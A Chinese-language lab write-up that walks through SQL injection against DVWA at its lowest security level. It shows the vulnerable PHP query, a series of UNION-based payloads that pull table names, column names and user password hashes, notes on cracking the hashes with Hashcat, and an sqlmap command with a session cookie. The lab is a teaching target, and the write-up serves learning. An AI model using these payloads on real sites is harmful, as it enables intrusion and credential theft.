首次使用DVWA的靶場,咋們先從最低級別的LOW開始,因為之前玩過一下墨者學院,對sql注入有一點認識和理解,所以先從sql的盲注開始;
1、測試注入點是否存在sql注入的漏洞;
(1)首先我們在輸入框隨意輸入數字,但發現并沒有什么可以看出漏洞的地方,只能看到地址欄的id會根據我們輸入的內容變化;
我們嘗試在輸入欄輸入一些錯誤的判定條件讓查詢發生錯誤,但是很不幸并沒用,后面還是通過看別人的發貼風險找到思路;
題外話:想要學會sql注入,首先是要熟悉數據庫方面的知識,對于web頁面的數據顯示,后臺sql是如何查詢的,查詢語句的結構是怎樣,這都要有一定的認識和基礎。我因為對語言和數據庫方面的知識不夠充分,所以一直比較抗拒web的滲透,對內網和網絡攻擊方面能夠理解得更好,但是攻擊的開始往往都是從web開始的,所以還是得學。
在這里我們想要讓輸出的內容報錯,只能去理解和分析后臺sql查詢語句的構造;
這是從大佬分享的帖子里復制過來的,我們進行簡單分析,首先是創建了一個參數id,而數值‘id’就是我們從輸入框輸入的數字,在這過程中,數值‘id’并沒有進行對應的字符類型轉換就直接提交到了sql的查詢語句中。那么我們是不是可以想,根據‘id’在語句中的位置,輸入一些特殊的字符讓查詢語句失效,那么就可以讓頁面顯示報錯了。根據下面語句的結構,我們可以輸入一個單引號讓查詢語句出錯。
// 錯誤示例(PHP代碼)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'"; // 用戶輸入直接拼接到SQL中
我們得到了這樣的頁面報錯信息,大概意思是說你有一條錯誤的sql語句,那么同時我們就可以判定這個地方是存在sql注入的漏洞;
1.原始SQL可能是:SELECT * FROM users WHERE id = '[你的輸入]'2.輸入單引號后:SELECT * FROM users WHERE id = ''' → 造成語法錯誤
2、通過ORDER BY確定表的列數
1‘ ORDER BY 1 #
1’ ORDER BY 2 #
...輸入后的查詢語句:
SELECT * FROM users WHERE id = '1' ORDER BY 1 #';
*注:#和 - - 在sql語句中是注釋的作用,在軟件開發時,為了后期代碼維護和讓其他人看得明白,所以會在對應地方加上注釋符,后面添加對應代碼的功能說明等信息,這些部分不會被程序所識別和執行。
當我們執行到1’ ORDER BY 3 #時,就開始出現了報錯,因此表的列數為2。
3、通過UNION聯合查詢或許數據庫的信息
輸出后能夠成功或許到數據庫的庫名;
1' union select 1,database() #
同樣如果我們想要輸出的信息簡潔一些,可以吧 “ 1’” 的部分改為 “ 6’ ”,因為對應id=6絲沒有對應的數據的,所以只會顯示我們后面select 1,database() 的內容。
6' union select 1,database() #
4、通過數據庫的庫名獲取表名
這里就要引入另一個知識點,Mysql數據庫的一個特征性,在information_schema庫的tables表中記錄了所有數據庫的庫名以及庫名下面對應的所有表名,這里我不詳細進行解說,在往期有進行過稍微詳細的敘述。往期地址
通過這個特性,我們編輯好對應的查詢語句,然后注入,得到了表名;
6' union select 1,table_name from information_schema.tables where table_schema=database() #
5、通過表明獲取列明
可以看到輸出的信息中,有user和password這些敏感字段,后面就能直接進行數據或許了;
6' union select 1,column_name from information_schema.columns where table_name='users' #
我這里使用的查詢方式輸出的結果都會單獨的顯示,這個可以參考一下大佬的查詢命令,能夠把所有的查詢結果都集合到了同一條信息里面,避免表名數量太多顯示不完全的問題,兩種方式可以參考著使用;
6' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
6、通過列表名對敏感信息進行獲取
6' union select user,password from dvwa.users #
獲取了加密的password,我們運用昨天的幾個小工具嘗試進行解密;
首先檢測Hash算法;
因為kali會報GPU內存不足,所以在物理機上采用Hashcat進行解密,因為不清楚掩碼是什么,所以這里我們直接采用一個我平時收集的字典進行解密;
順利跑出了明文。
7、通過sqlmap進行自動化注入
在之前的墨者學院靶場我們也使用過sqlmap進行自動化的注入,但是在這里會有一點小小的區別。
首先我們分析一下常規的測試指令:
sqlmap -u “[注入地址/url]”
然后常規的測試指令只適合于靜態訪問的網頁,但是我們使用的靶場是經過用戶的登錄的,因此我們需要加入對應的cookie信息,把登錄后的授權信息傳遞給sqlmap。
sqlmap -u “[注入地址/url]” --cookie “[站點cookie]”
實例:
我們打開開發者模式(按鍵F12),選擇網絡(Network),點擊重新加載后選擇第一個文件,我們獲取對應的url地址和cookie信息(如下圖)。
打開sqlmap,把我們收集到的信息進行指令編輯,并輸入到sqlmap中執行。
注:在url輸入時需要在id=1后面加上一個“ * ”符號,這表示這這個點進行注入。
測試指令。
sqlmap -u "https://dvwa.bachang.org/vulnerabilities/sqli/?id=1*&Submit=Submit" --cookie "PHPSESSID=clql5r97tk05svu30kq8t44542; security=low"
能夠成功檢測出存在的注入漏洞類型
對庫名也能夠進行成功爆破;
后面就可以參照之前的文章筆記進行操作,直到把表中的數據爆破出來,我就不再做詳細的實驗了;
總結:雖然在打靶場的時候其實也是一邊看大佬分享的筆記再一邊進行實驗,但是重要的是每個過程都要自己去搞懂,要自己去操作,甚至一個符號,為什么要加這個符號,為什么要采用這樣的查詢方式都要弄清楚,這樣以后遇到同樣的嘍洞才能更得心應手,而且這弄清楚的過程也是一個學習的過程,有些其實是一些很基礎的東西,但是恰恰你不知道就無法再進一步。
多實踐,多學習,多聽trance,再見。